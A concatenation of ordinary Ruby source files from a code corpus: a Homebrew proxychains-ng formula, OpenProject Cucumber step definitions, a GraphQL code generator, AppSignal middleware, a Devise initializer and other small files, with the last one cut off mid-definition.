Curl::Multi.default_timeout = 12
assert_equal 12, Curl::Multi.default_timeout
assert_equal 100, (Curl::Multi.default_timeout = 100)
end
include TestServerMethods
def setup
server_setup
end
end
| 26.565844 | 132 | 0.606769 |
b9d81e5b417abfa2af3cadf04b87c9f5b12babfa | 893 | class ProxychainsNg < Formula
desc "Hook preloader"
homepage "https://sourceforge.net/projects/proxychains-ng/"
url "https://github.com/rofl0r/proxychains-ng/archive/v4.13.tar.gz"
sha256 "ff15295efc227fec99c2b8131ad532e83e833a02470c7a48ae7e7f131e1b08bc"
head "https://github.com/rofl0r/proxychains-ng.git"
bottle do
sha256 "71c967d3a664d42441ccd0917e4c47f58a5077c4e316279b9960529733826ac0" => :high_sierra
sha256 "231b56ce95d2df4d3949f919176033afca0ad5ac80250ee73fbdad5c2ee2709d" => :sierra
sha256 "211eff05f188af0e1555b44d0d93fce74458f5018280a9e1e02007c61192511c" => :el_capitan
end
def install
system "./configure", "--prefix=#{prefix}", "--sysconfdir=#{etc}"
system "make"
system "make", "install"
system "make", "install-config"
end
test do
assert_match "config file found", shell_output("#{bin}/proxychains4 test 2>&1", 1)
end
end
| 35.72 | 93 | 0.756999 |
6ae48578db4ed439fe136f9aee38f7cd4802d7ff | 12,785 | #-- encoding: UTF-8
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2020 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
require 'uri'
require 'cgi'
require File.expand_path(File.join(File.dirname(__FILE__), '..', 'support', 'paths'))
require File.expand_path(File.join(File.dirname(__FILE__), '..', 'support', 'selectors'))
module WithinHelpers
def press_key_on_element(key, element)
page.find(element).native.send_keys(Selenium::WebDriver::Keys[key.to_sym])
end
def right_click(elements)
builder = page.driver.browser.action
Array(elements).each do |e|
builder.context_click(e.native)
end
builder.perform
end
def ctrl_click(elements)
builder = page.driver.browser.action
# Hold control key down
builder.key_down(:control)
# Note that you can retrieve the elements using capybara's
# standard methods. When passing them to the builder
# make sure to do .native
Array(elements).each do |e|
builder.click(e.native)
end
# Release control key
builder.key_up(:control)
# Do the action setup
builder.perform
end
def with_scope(locator, options = {})
locator ? within(*selector_for(locator), options) { yield } : yield
end
end
World(WithinHelpers)
# Single-line step scoper
When /^(.*) within "(.*[^:"])"$/ do |step_name, parent|
with_scope(parent) { step step_name }
end
When /^(.*) \[i18n\]$/ do |actual_step|
step translate(actual_step)
end
When(/^I ctrl\-click on "([^\"]+)"$/) do |text|
# Click all elements that you want, in this case we click all as
elements = page.all('a', text: text)
ctrl_click(elements)
end
# Single-line step scoper
When /^(.*) within_hidden (.*[^:])$/ do |step_name, parent|
with_scope(parent, visible: false) { step step_name }
end
# Multi-line step scoper
When /^(.*) within (.*[^:]):$/ do |step_name, parent, table_or_string|
with_scope(parent) { step "#{step_name}:", table_or_string }
end
Given /^(?:|I )am on (.+)$/ do |page_name|
visit path_to(page_name)
end
When /^(?:|I )go to (.+)$/ do |page_name|
visit path_to(page_name)
end
When /^(?:|I )press "([^"]*)"$/ do |button|
click_button(button)
end
When /^(?:|I )follow "([^"]*)"$/ do |link|
click_link(link)
end
When /^(?:|I )fill in "([^"]*)" with "([^"]*)"$/ do |field, value|
fill_in(field, with: value)
end
When /^(?:|I )fill in "([^"]*)" for "([^"]*)"$/ do |value, field|
fill_in(field, with: value)
end
# Use this to fill in an entire form with data from a table. Example:
#
# When I fill in the following:
# | Account Number | 5002 |
# | Expiry date | 2009-11-01 |
# | Note | Nice guy |
# | Wants Email? | |
#
# TODO: Add support for checkbox and option
# based on naming conventions.
#
When /^(?:|I )fill in the following:$/ do |fields|
fields.rows_hash.each do |name, value|
field = find_field(name)
if field.tag_name == 'select'
step(%{I select "#{value}" from "#{name}"})
else
step(%{I fill in "#{name}" with "#{value}"})
end
end
end
When (/^I do some ajax$/) do
click_link('Apply')
end
When /^(?:|I )select "([^"]*)" from "([^"]*)"$/ do |value, field|
select(value, from: field)
end
When /^(?:|I )check "([^"]*)"$/ do |field|
check(field)
end
When /^(?:|I )uncheck "([^"]*)"$/ do |field|
uncheck(field)
end
When /^(?:|I )choose "([^"]*)"$/ do |field|
choose(field)
end
When /^(?:|I )attach the file "([^"]*)" to "([^"]*)"$/ do |path, field|
attach_file(field, File.expand_path(path))
end
Then /^(?:|I )should see "([^"]*)"$/ do |text|
regexp = Regexp.new(Regexp.escape(text), Regexp::IGNORECASE)
page.should have_content(regexp)
end
Then /^(?:|I )should see \/([^\/]*)\/$/ do |regexp|
regexp = Regexp.new(regexp)
should have_content(regexp)
end
Then(/^(?:|I )should not see "([^"]*)" in the same table row as "([^"]*)"$/) do |text1, text2|
within('table.generic-table tbody') do
page.all(:xpath, "//tr/td[contains(.,'#{text2}')]/following-sibling::td").each do |td|
expect(td).to have_no_content(text1)
end
end
end
Then /^(?:|I )should not see "([^"]*)"$/ do |text|
regexp = Regexp.new(Regexp.escape(text), Regexp::IGNORECASE)
page.should have_no_content(regexp)
end
Then /^(?:|I )should not see \/([^\/]*)\/$/ do |regexp|
regexp = Regexp.new(regexp)
should have_no_content(regexp)
end
Then /^the "([^"]*)" field(?: within (.*))? should contain "([^"]*)"$/ do |field, parent, value|
with_scope(parent) do
field = find_field(field)
field.value.should =~ /#{value}/
end
end
Then /^the "([^"]*)" field(?: within (.*))? should not contain "([^"]*)"$/ do |field, parent, value|
with_scope(parent) do
field = find_field(field)
field.value.should_not =~ /#{value}/
end
end
Then /^the "([^"]*)" field should have the error "([^"]*)"$/ do |field, error_message|
element = find_field(field)
classes = element.find(:xpath, '..')[:class].split(' ')
form_for_input = element.find(:xpath, 'ancestor::form[1]')
using_formtastic = form_for_input[:class].include?('formtastic')
error_class = using_formtastic ? 'error' : 'field_with_errors'
classes.should include(error_class)
if using_formtastic
error_paragraph = element.find(:xpath, '../*[@class="inline-errors"][1]')
error_paragraph.should have_content(error_message)
else
page.should have_content("#{field.titlecase} #{error_message}")
end
end
Then /^the "([^"]*)" field should have no error$/ do |field|
element = find_field(field)
classes = element.find(:xpath, '..')[:class].split(' ')
classes.should_not include('field_with_errors')
classes.should_not include('error')
end
Then /^the (hidden )?"([^"]*)" checkbox should be checked$/ do |hidden, label|
field_checked = find_field(label, visible: hidden.nil?)['checked']
field_checked.should be_truthy
end
Then /^the (hidden )?"([^"]*)" checkbox should not be checked$/ do |hidden, label|
field_checked = find_field(label, visible: hidden.nil?)['checked']
field_checked.should be_falsey
end
Then /^(?:|I )should be on (.+)$/ do |page_name|
current_path = URI.parse(current_url).path
CGI.unescape(current_path).should == CGI.unescape(path_to(page_name))
end
Then /^(?:|I )should have the following query string:$/ do |expected_pairs|
query = URI.parse(current_url).query
actual_params = query ? CGI.parse(query) : {}
expected_params = {}
expected_pairs.rows_hash.each_pair { |k, v| expected_params[k] = v.split(',') }
actual_params.should == expected_params
end
Then /^show me the page$/ do
# save_and_open_page
sleep 2 # sleep to ensure page has been fully loaded
save_and_open_screenshot
end
# newly generated until here
When /^I wait(?: (\d+) seconds)? for(?: the)? [Aa][Jj][Aa][Xx](?: requests?(?: to finish)?)?$/ do |timeout|
ajax_done = lambda do
is_done = false
while !is_done
is_done = page.evaluate_script(%{
(function (){
return !(window.jQuery && document.ajaxActive);
}())
}.gsub("\n", ''))
end
end
timeout = timeout.present? ?
timeout.to_f :
5.0
wait_until(timeout, i_know_im_immoral: true) do
ajax_done.call
end
end
Then /^there should be a( disabled)? "(.+)" field( visible| invisible)?$/ do |disabled, fieldname, visible|
# Checking for a disabled field will only work for field with labels where the label
# has a correctly filled "for" attribute
visibility = visible && !visible.include?('invisible')
if disabled
# disabled fields can not be found via find_field
field_id = find('label', text: fieldname)['for']
should have_css("##{field_id}", visible: visibility)
else
should have_field(fieldname, visible: visibility)
end
end
Then /^there should not be a "(.+)" field$/ do |fieldname|
should_not have_field(fieldname)
end
Then /^there should be a "(.+)" button$/ do |button_label|
page.should have_xpath("//input[@value='#{button_label}']")
end
Then /^the "([^\"]*)" select(?: within "([^\"]*)")? should have the following options:$/ do |field, selector, option_table|
options_expected = option_table.raw.flatten
with_scope(selector) do
field = find_field(field)
options_actual = field.all('option').map(&:text)
options_actual.should =~ options_expected
end
end
Then /^there should be the disabled "(.+)" element$/ do |element|
page.find(element)[:disabled].should == 'true'
end
Then /^the element "(.+)" should be invalid$/ do |element|
expect(page).to have_selector("#{element}:invalid")
end
# This needs an active js driver to work properly
Given /^I (accept|dismiss) the alert dialog$/ do |method|
if Capybara.current_driver.to_s.include?('selenium')
page.driver.browser.switch_to.alert.send(method.to_s)
end
end
Then(/^(.*) in the new window$/) do |step|
new_window = windows.last
page.within_window new_window do
step(step)
end
end
Then /^(.*) in the iframe "([^\"]+)"$/ do |step, iframe_name|
browser = page.driver.browser
browser.switch_to.frame(iframe_name)
step(step)
browser.switch_to.default_content
end
When /^(?:|I )click the toolbar button named "(.*?)"$/ do |action_name|
find('.toolbar-container').click_button action_name
end
When /^(?:|I )choose "(.*?)" from the toolbar "(.*?)" dropdown$/ do |action_name, dropdown_id|
find("button[has-dropdown-menu][target=#{dropdown_id}DropdownMenu]").click
find("##{dropdown_id}Dropdown").click_link action_name
end
# that's capybara's old behaviour: clicking the first button that matches
When /^(?:|I )click on the first button matching "([^"]*)"$/ do |button|
first(:button, button).click
end
When /^(?:|I )follow the first link matching "([^"]*)"$/ do |link|
first(:link, link).click
end
When /^(?:|I )click on the first anchor matching "([^"]*)"$/ do |anchor|
find(:xpath, "(//a[text()='#{anchor}'])[1]").click
end
def find_lowest_containing_element(text, selector)
elements = []
node_criteria = "[contains(normalize-space(.), \"#{text}\") and not(self::script) and not(child::*[contains(normalize-space(.), \"#{text}\")])]"
if selector
search_string = Nokogiri::CSS.xpath_for(selector).first + "//*#{node_criteria}"
search_string += ' | ' + Nokogiri::CSS.xpath_for(selector).first + "#{node_criteria}"
else
search_string = "//*#{node_criteria}"
end
elements = all(:xpath, search_string)
rescue Nokogiri::CSS::SyntaxError
elements
end
require 'timeout'
def wait_until(seconds = 5, options = {}, &block)
unless options[:i_know_im_immoral]
raise "You are immoral. I can't stand this. Goodbye.
You really shouldn't use wait_until and wait for an element
using Capybara instead, e.g. using page.should have_selector(...)
See http://www.elabs.se/blog/53-why-wait_until-was-removed-from-capybara
"
end
Timeout.timeout(seconds, &block)
end
When /^I confirm popups$/ do
page.driver.browser.switch_to.alert.accept
end
# Needs Selenium!
Then(/^I should( not )?see a(?:n) alert dialog$/) do |negative|
negative = !!negative
if Capybara.current_driver.to_s.include?('selenium')
begin
page.driver.browser.switch_to.alert
expect(negative).to eq(false)
rescue Selenium::WebDriver::Error::NoSuchAlertError
expect(negative).to eq(true)
end
end
end
Then(/^I should see a confirm dialog$/) do
page.should have_selector('#confirm_dialog')
end
Then /^I confirm the JS confirm dialog$/ do
page.driver.browser.switch_to.alert.accept rescue Selenium::WebDriver::Error::NoAlertOpenError
end
Then /^I should see a JS confirm dialog$/ do
page.driver.browser.switch_to.alert.text.should_not be_nil
page.driver.browser.switch_to.alert.accept
end
| 29.256293 | 146 | 0.667657 |
7a0264d3607977d0aa864aaa2af384f25765b1af | 118 | require 'simplecov'
SimpleCov.start
$LOAD_PATH.unshift __dir__
require 'method_fallback'
require 'minitest/autorun'
| 14.75 | 26 | 0.822034 |
ed0d7b1bca96cada8af19245b3d890757ba527ec | 4,115 | # typed: strict
# frozen_string_literal: true
module Yogurt
class CodeGenerator
# Root classes are generated for the root of a GraphQL query.
class RootClass < T::Struct
include DefinedClass
extend T::Sig
include Utils
const :name, String
const :schema, GRAPHQL_SCHEMA
const :operation_name, String
const :graphql_type, T.untyped # rubocop:disable Sorbet/ForbidUntypedStructProps
const :query_container, QueryContainer::CONTAINER
const :defined_methods, T::Array[DefinedMethod]
const :variables, T::Array[VariableDefinition]
const :dependencies, T::Array[String]
sig {override.returns(String)}
def to_ruby
pretty_print = generate_pretty_print(defined_methods)
declaration = query_container.fetch_query(operation_name)
original_query = declaration.query_text
parsed_query = GraphQL.parse(original_query)
reprinted_query = GraphQL::Language::Printer.new.print(parsed_query)
dynamic_methods = <<~STRING.strip
#{defined_methods.map(&:to_ruby).join("\n")}
#{pretty_print}
STRING
<<~STRING
class #{name} < Yogurt::Query
extend T::Sig
include Yogurt::QueryResult
include Yogurt::ErrorResult
SCHEMA = T.let(#{schema.name}, Yogurt::GRAPHQL_SCHEMA)
OPERATION_NAME = T.let(#{operation_name.inspect}, String)
QUERY_TEXT = T.let(<<~'GRAPHQL', String)
#{indent(reprinted_query, 2).strip}
GRAPHQL
#{indent(possible_types_constant(schema, graphql_type), 1).strip}
#{indent(execute_method, 1).strip}
sig {params(data: Yogurt::OBJECT_TYPE, errors: T.nilable(T::Array[Yogurt::OBJECT_TYPE])).void}
def initialize(data, errors)
@result = T.let(data, Yogurt::OBJECT_TYPE)
@errors = T.let(errors, T.nilable(T::Array[Yogurt::OBJECT_TYPE]))
end
sig {override.returns(Yogurt::OBJECT_TYPE)}
def raw_result
@result
end
#{indent(typename_method(schema, graphql_type), 1).strip}
sig {override.returns(T.nilable(T::Array[Yogurt::OBJECT_TYPE]))}
def errors
@errors
end
#{indent(dynamic_methods, 1).strip}
end
STRING
end
sig {returns(String)}
def execute_method
executor = Yogurt.registered_schemas.fetch(schema)
options_type = executor.options_type_alias.name
signature_params = ["options: #{options_type}"]
params = if options_type.start_with?("T.nilable", "T.untyped")
["options=nil"]
else
["options"]
end
variable_extraction = if variables.any?
serializers = []
variables.sort.each do |variable|
if variable.signature.start_with?("T.nilable")
params.push("#{variable.name}: nil")
else
params.push("#{variable.name}:")
end
signature_params.push("#{variable.name}: #{variable.signature}")
serializers.push(<<~STRING.strip)
#{variable.graphql_name.inspect} => #{variable.serializer.strip},
STRING
end
<<~STRING
{
#{indent(serializers.join("\n"), 1).strip}
}
STRING
else
"nil"
end
<<~STRING
sig do
params(
#{indent(signature_params.join(",\n"), 2).strip}
).returns(T.any(T.attached_class, Yogurt::ErrorResult::OnlyErrors))
end
def self.execute(#{params.join(', ')})
raw_result = Yogurt.execute(
query: QUERY_TEXT,
schema: SCHEMA,
operation_name: OPERATION_NAME,
options: options,
variables: #{indent(variable_extraction, 2).strip}
)
from_result(raw_result)
end
STRING
end
end
end
end
| 31.412214 | 106 | 0.573755 |
6a09693ea9c8431177d18557b9dbfbd55629c466 | 2,754 | # frozen_string_literal: true
module Appsignal
# @api private
module Rack
# JavaScript error catching middleware.
#
# Listens to the endpoint specified in the `frontend_error_catching_path`
# configuration option.
#
# This is automatically included middleware in Rails apps if the
# `frontend_error_catching_path` configuration option is active.
#
# If AppSignal is not active in the current environment, but does have
# JavaScript error catching turned on, we assume that a JavaScript script
# still sends errors to this endpoint. When AppSignal is not active in this
# scenario this middleware still listens to the endpoint, but won't record
# the error. It will return HTTP status code 202.
#
# @example with a Sinatra app
# Sinatra::Application.use(Appsignal::Rack::JSExceptionCatcher)
#
# @see http://docs.appsignal.com/front-end/error-handling.html
# @api private
class JSExceptionCatcher
include Appsignal::Utils::DeprecationMessage
def initialize(app, _options = nil)
Appsignal.logger.debug \
"Initializing Appsignal::Rack::JSExceptionCatcher"
deprecation_message "The Appsignal::Rack::JSExceptionCatcher is " \
"deprecated and will be removed in a future version. Please use " \
"the official AppSignal JavaScript integration by disabling " \
"`enable_frontend_error_catching` in your configuration and " \
"installing AppSignal for JavaScript instead. " \
"(https://docs.appsignal.com/front-end/)"
@app = app
end
def call(env)
# Ignore other paths than the error catching path.
return @app.call(env) unless error_cathing_endpoint?(env)
# Prevent raising a 404 not found when a non-active environment posts
# to this endpoint.
unless Appsignal.active?
return [
202,
{},
["AppSignal JavaScript error catching endpoint is not active."]
]
end
begin
body = JSON.parse(env["rack.input"].read)
rescue JSON::ParserError
return [400, {}, ["Request payload is not valid JSON."]]
end
if body["name"].is_a?(String) && !body["name"].empty?
transaction = JSExceptionTransaction.new(body)
transaction.complete!
code = 200
else
Appsignal.logger.debug \
"JSExceptionCatcher: Could not send exception, 'name' is empty."
code = 422
end
[code, {}, []]
end
private
def error_cathing_endpoint?(env)
env["PATH_INFO"] == Appsignal.config[:frontend_error_catching_path]
end
end
end
end
| 34 | 79 | 0.640523 |
115f71e77d048480084ebb8cfd01257ebe07261c | 1,313 | #!/usr/bin/env ruby
require 'json'
require 'open3'
data = JSON.parse(File.read("geometries.json"))
result = {}
def get_polygon_data(polygon)
circle = 0
Open3.popen3("./max-circle.js skipinside") do |input, out, err|
polygon[0].each do |c|
input.puts "#{c[0]} #{c[1]}"
end
input.close
data = out.read.chomp
res = JSON.parse(data) rescue { 'properties' => { 'radius' => 0, 'maxRadius' => 0 } }
circle = res['properties']['maxRadius'].to_f
end
num = 0
perim = 0
area = 0
Open3.popen3("planimeter -w -E -r") do |input, out|
polygon[0].each do |c|
input.puts "#{c[0]} #{c[1]}"
end
input.close
res = out.read.chomp
num,perim,area = *res.split.map(&:to_f)
end
if circle > 0
area.abs / (circle * 1000 * circle * 1000 * Math::PI)
else
0
end
end
data.each_pair do |key, value|
p "#{key} #{value["name"]}"
roundness = 0
case value["geometry"]["type"]
when "Polygon"
roundness = get_polygon_data(value["geometry"]["coordinates"])
when "MultiPolygon"
coords = value["geometry"]["coordinates"][0]
roundness = get_polygon_data(coords)
end
p roundness
result["#{key} #{value["name"]}"] = roundness
end
p "-----------"
result.to_h.sort_by{|a| a[1]}.each do |name, round|
puts "#{name}: #{round}"
end
| 20.2 | 89 | 0.597106 |
b9d48904c8a5d4247b5de2652ae54fa8cf8183c3 | 233 | # frozen_string_literal: true
# Copyright The OpenTelemetry Authors
#
# SPDX-License-Identifier: Apache-2.0
module OpenTelemetry
module Instrumentation
module ActiveModelSerializers
VERSION = '0.18.0'
end
end
end
| 16.642857 | 37 | 0.746781 |
217cf9d0ddbe47ce7ba98e3376b96b6d83002ce4 | 14,457 | # frozen_string_literal: true
# Use this hook to configure devise mailer, warden hooks and so forth.
# Many of these configuration options can be set straight in your model.
Devise.setup do |config|
# The secret key used by Devise. Devise uses this key to generate
# random tokens. Changing this key will render invalid all existing
# confirmation, reset password and unlock tokens in the database.
# Devise will use the `secret_key_base` as its `secret_key`
# by default. You can change it below and use your own secret key.
# config.secret_key = '6a483b0a62ada24500c7b4f86b5da56f24d2b6f3b3ee0489650fe7adb76824bce00235b37b2c10efd406617b1d79cdc7a3416712962e952b6d95e6c09343fdd3'
# ==> Controller configuration
# Configure the parent class to the devise controllers.
# config.parent_controller = 'DeviseController'
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in Devise::Mailer,
# note that it will be overwritten if you use your own mailer class
# with default "from" parameter.
config.mailer_sender = '[email protected]'
# Configure the class responsible to send e-mails.
# config.mailer = 'Devise::Mailer'
# Configure the parent class responsible to send e-mails.
# config.parent_mailer = 'ActionMailer::Base'
# ==> ORM configuration
# Load and configure the ORM. Supports :active_record (default) and
# :mongoid (bson_ext recommended) by default. Other ORMs may be
# available as additional gems.
require 'devise/orm/active_record'
# ==> Configuration for any authentication mechanism
# Configure which keys are used when authenticating a user. The default is
# just :email. You can configure it to use [:username, :subdomain], so for
# authenticating a user, both parameters are required. Remember that those
# parameters are used only when authenticating and not when retrieving from
# session. If you need permissions, you should implement that in a before filter.
# You can also supply a hash where the value is a boolean determining whether
# or not authentication should be aborted when the value is not present.
# config.authentication_keys = [:email]
# Configure parameters from the request object used for authentication. Each entry
# given should be a request method and it will automatically be passed to the
# find_for_authentication method and considered in your model lookup. For instance,
# if you set :request_keys to [:subdomain], :subdomain will be used on authentication.
# The same considerations mentioned for authentication_keys also apply to request_keys.
# config.request_keys = []
# Configure which authentication keys should be case-insensitive.
# These keys will be downcased upon creating or modifying a user and when used
# to authenticate or find a user. Default is :email.
config.case_insensitive_keys = [:email]
# Configure which authentication keys should have whitespace stripped.
# These keys will have whitespace before and after removed upon creating or
# modifying a user and when used to authenticate or find a user. Default is :email.
config.strip_whitespace_keys = [:email]
# Tell if authentication through request.params is enabled. True by default.
# It can be set to an array that will enable params authentication only for the
# given strategies, for example, `config.params_authenticatable = [:database]` will
# enable it only for database (email + password) authentication.
# config.params_authenticatable = true
# Tell if authentication through HTTP Auth is enabled. False by default.
# It can be set to an array that will enable http authentication only for the
# given strategies, for example, `config.http_authenticatable = [:database]` will
# enable it only for database authentication. The supported strategies are:
# :database = Support basic authentication with authentication key + password
# config.http_authenticatable = false
# If 401 status code should be returned for AJAX requests. True by default.
# config.http_authenticatable_on_xhr = true
# The realm used in Http Basic Authentication. 'Application' by default.
# config.http_authentication_realm = 'Application'
# It will change confirmation, password recovery and other workflows
# to behave the same regardless if the e-mail provided was right or wrong.
# Does not affect registerable.
# config.paranoid = true
# By default Devise will store the user in session. You can skip storage for
# particular strategies by setting this option.
# Notice that if you are skipping storage for all authentication paths, you
# may want to disable generating routes to Devise's sessions controller by
# passing skip: :sessions to `devise_for` in your config/routes.rb
config.skip_session_storage = [:http_auth]
# By default, Devise cleans up the CSRF token on authentication to
# avoid CSRF token fixation attacks. This means that, when using AJAX
# requests for sign in and sign up, you need to get a new CSRF token
# from the server. You can disable this option at your own risk.
# config.clean_up_csrf_token_on_authentication = true
# When false, Devise will not attempt to reload routes on eager load.
# This can reduce the time taken to boot the app but if your application
# requires the Devise mappings to be loaded during boot time the application
# won't boot properly.
# config.reload_routes = true
# ==> Configuration for :database_authenticatable
# For bcrypt, this is the cost for hashing the password and defaults to 11. If
# using other algorithms, it sets how many times you want the password to be hashed.
#
# Limiting the stretches to just one in testing will increase the performance of
# your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use
# a value less than 10 in other environments. Note that, for bcrypt (the default
# algorithm), the cost increases exponentially with the number of stretches (e.g.
# a value of 20 is already extremely slow: approx. 60 seconds for 1 calculation).
config.stretches = Rails.env.test? ? 1 : 11
# Set up a pepper to generate the hashed password.
# config.pepper = 'e59a846c12d5810edef15090a0e46dda84e921366d68bf1c3b10844b6fd3fb4f69b53921baa1d8be0af1dd11e8defe04440399491e15f9cf121b27d37448f544'
# Send a notification to the original email when the user's email is changed.
# config.send_email_changed_notification = false
# Send a notification email when the user's password is changed.
# config.send_password_change_notification = false
# ==> Configuration for :confirmable
# A period that the user is allowed to access the website even without
# confirming their account. For instance, if set to 2.days, the user will be
# able to access the website for two days without confirming their account,
# access will be blocked just in the third day.
# You can also set it to nil, which will allow the user to access the website
# without confirming their account.
# Default is 0.days, meaning the user cannot access the website without
# confirming their account.
# config.allow_unconfirmed_access_for = 2.days
# A period that the user is allowed to confirm their account before their
# token becomes invalid. For example, if set to 3.days, the user can confirm
# their account within 3 days after the mail was sent, but on the fourth day
# their account can't be confirmed with the token any more.
# Default is nil, meaning there is no restriction on how long a user can take
# before confirming their account.
# config.confirm_within = 3.days
# If true, requires any email changes to be confirmed (exactly the same way as
# initial account confirmation) to be applied. Requires additional unconfirmed_email
# db field (see migrations). Until confirmed, new email is stored in
# unconfirmed_email column, and copied to email column on successful confirmation.
config.reconfirmable = true
# Defines which key will be used when confirming an account
# config.confirmation_keys = [:email]
# ==> Configuration for :rememberable
# The time the user will be remembered without asking for credentials again.
# config.remember_for = 2.weeks
# Invalidates all the remember me tokens when the user signs out.
config.expire_all_remember_me_on_sign_out = true
# If true, extends the user's remember period when remembered via cookie.
# config.extend_remember_period = false
# Options to be passed to the created cookie. For instance, you can set
# secure: true in order to force SSL only cookies.
# config.rememberable_options = {}
# ==> Configuration for :validatable
# Range for password length.
config.password_length = 6..128
# Email regex used to validate email formats. It simply asserts that
# one (and only one) @ exists in the given string. This is mainly
# to give user feedback and not to assert the e-mail validity.
config.email_regexp = /\A[^@\s]+@[^@\s]+\z/
# ==> Configuration for :timeoutable
# The time you want to timeout the user session without activity. After this
# time the user will be asked for credentials again. Default is 30 minutes.
# config.timeout_in = 30.minutes
# ==> Configuration for :lockable
# Defines which strategy will be used to lock an account.
# :failed_attempts = Locks an account after a number of failed attempts to sign in.
# :none = No lock strategy. You should handle locking by yourself.
# config.lock_strategy = :failed_attempts
# Defines which key will be used when locking and unlocking an account
# config.unlock_keys = [:email]
# Defines which strategy will be used to unlock an account.
# :email = Sends an unlock link to the user email
# :time = Re-enables login after a certain amount of time (see :unlock_in below)
# :both = Enables both strategies
# :none = No unlock strategy. You should handle unlocking by yourself.
# config.unlock_strategy = :both
# Number of authentication tries before locking an account if lock_strategy
# is failed attempts.
# config.maximum_attempts = 20
# Time interval to unlock the account if :time is enabled as unlock_strategy.
# config.unlock_in = 1.hour
# Warn on the last attempt before the account is locked.
# config.last_attempt_warning = true
# ==> Configuration for :recoverable
#
# Defines which key will be used when recovering the password for an account
# config.reset_password_keys = [:email]
# Time interval you can reset your password with a reset password key.
# Don't put a too small interval or your users won't have the time to
# change their passwords.
config.reset_password_within = 6.hours
# When set to false, does not sign a user in automatically after their password is
# reset. Defaults to true, so a user is signed in automatically after a reset.
# config.sign_in_after_reset_password = true
# ==> Configuration for :encryptable
# Allow you to use another hashing or encryption algorithm besides bcrypt (default).
# You can use :sha1, :sha512 or algorithms from others authentication tools as
# :clearance_sha1, :authlogic_sha512 (then you should set stretches above to 20
# for default behavior) and :restful_authentication_sha1 (then you should set
# stretches to 10, and copy REST_AUTH_SITE_KEY to pepper).
#
# Require the `devise-encryptable` gem when using anything other than bcrypt
# config.encryptor = :sha512
# ==> Scopes configuration
# Turn scoped views on. Before rendering "sessions/new", it will first check for
# "users/sessions/new". It's turned off by default because it's slower if you
# are using only default views.
# config.scoped_views = false
# Configure the default scope given to Warden. By default it's the first
# devise role declared in your routes (usually :user).
# config.default_scope = :user
# Set this configuration to false if you want /users/sign_out to sign out
# only the current scope. By default, Devise signs out all scopes.
# config.sign_out_all_scopes = true
# ==> Navigation configuration
# Lists the formats that should be treated as navigational. Formats like
# :html, should redirect to the sign in page when the user does not have
# access, but formats like :xml or :json, should return 401.
#
# If you have any extra navigational formats, like :iphone or :mobile, you
# should add them to the navigational formats lists.
#
# The "*/*" below is required to match Internet Explorer requests.
# config.navigational_formats = ['*/*', :html]
# The default HTTP method used to sign out a resource. Default is :delete.
config.sign_out_via = :delete
# ==> OmniAuth
# Add a new OmniAuth provider. Check the wiki for more information on setting
# up on your models and hooks.
# config.omniauth :github, 'APP_ID', 'APP_SECRET', scope: 'user,public_repo'
# ==> Warden configuration
# If you want to use other strategies, that are not supported by Devise, or
# change the failure app, you can configure them inside the config.warden block.
#
# config.warden do |manager|
# manager.intercept_401 = false
# manager.default_strategies(scope: :user).unshift :some_external_strategy
# end
# ==> Mountable engine configurations
# When using Devise inside an engine, let's call it `MyEngine`, and this engine
# is mountable, there are some extra configurations to be taken into account.
# The following options are available, assuming the engine is mounted as:
#
# mount MyEngine, at: '/my_engine'
#
# The router that invoked `devise_for`, in the example above, would be:
# config.router_name = :my_engine
#
# When using OmniAuth, Devise cannot automatically set OmniAuth path,
# so you need to do it manually. For the users scope, it would be:
# config.omniauth_path_prefix = '/my_engine/users/auth'
# ==> Turbolinks configuration
# If your app is using Turbolinks, Turbolinks::Controller needs to be included to make redirection work correctly:
#
# ActiveSupport.on_load(:devise_failure_app) do
# include Turbolinks::Controller
# end
# ==> Configuration for :registerable
# When set to false, does not sign a user in automatically after their password is
# changed. Defaults to true, so a user is signed in automatically after changing a password.
# config.sign_in_after_change_password = true
end
| 48.19 | 154 | 0.751262 |
6a575584344ca6ad020a89792a88d78b73a0dc51 | 946 | # This method can be implemented at least in 6 ways in O(n) time.
# Way 1: answer = current sum - minimum sum got
def max_sub_array(nums)
answer = sum = min_sum = nums[0]
min_sum = 0 if nums[0] > 0
nums[1..-1].each do |n|
sum += n
answer = [ answer, sum - min_sum ].max
min_sum = sum if sum < min_sum
end
answer
end
# Way 2: optimized dp method
def max_sub_array(nums)
max=value=nums[0]
nums[1..-1].each do |n|
value= value+n > n ? value+n : n
max=value if value>max
end
max
end
# Way 3: divide and conquer
def max_sub_array(nums)
return -2**32 if nums==[]
mid=nums.size/2
return nums[0] if mid==0
answer=[max_sub_array(nums[0..mid-1]),max_sub_array(nums[mid..-1])].max
now,may=nums[mid],nums[mid]
(mid-1).downto(0){|i| may=[may,now+=nums[i]].max }
now=may
(mid+1..nums.size-1).each{ |i| may=[may,now+=nums[i]].max}
[may,answer].max
end
# Way 4: bit ops
# Way 5: primitive dp method
| 22.52381 | 73 | 0.633192 |
b9989df3d53a905698b60930bd681d2a54706057 | 205 | all
exclude_rule 'MD002' # First header should be a top level header
exclude_rule 'MD024' # Multiple headers with the same content
exclude_rule 'MD041' # First line in file should be a top level header
| 41 | 71 | 0.77561 |
bf41d5e5271be0fd52392a9b13b2e439058e2e4b | 239 | class Transaction < ApplicationRecord
belongs_to :user
has_many :amount_relationships
has_many :groups, through: :amount_relationships
validates :name, presence: true, length: { in: 6..30 }
validates :amount, presence: true
end
| 26.555556 | 56 | 0.761506 |
ff52e94c32a3c4093dbdc704c2e4f68bcd036227 | 234 | class AddAttachmentSolutionToAssignments < ActiveRecord::Migration
def self.up
change_table :assignments do |t|
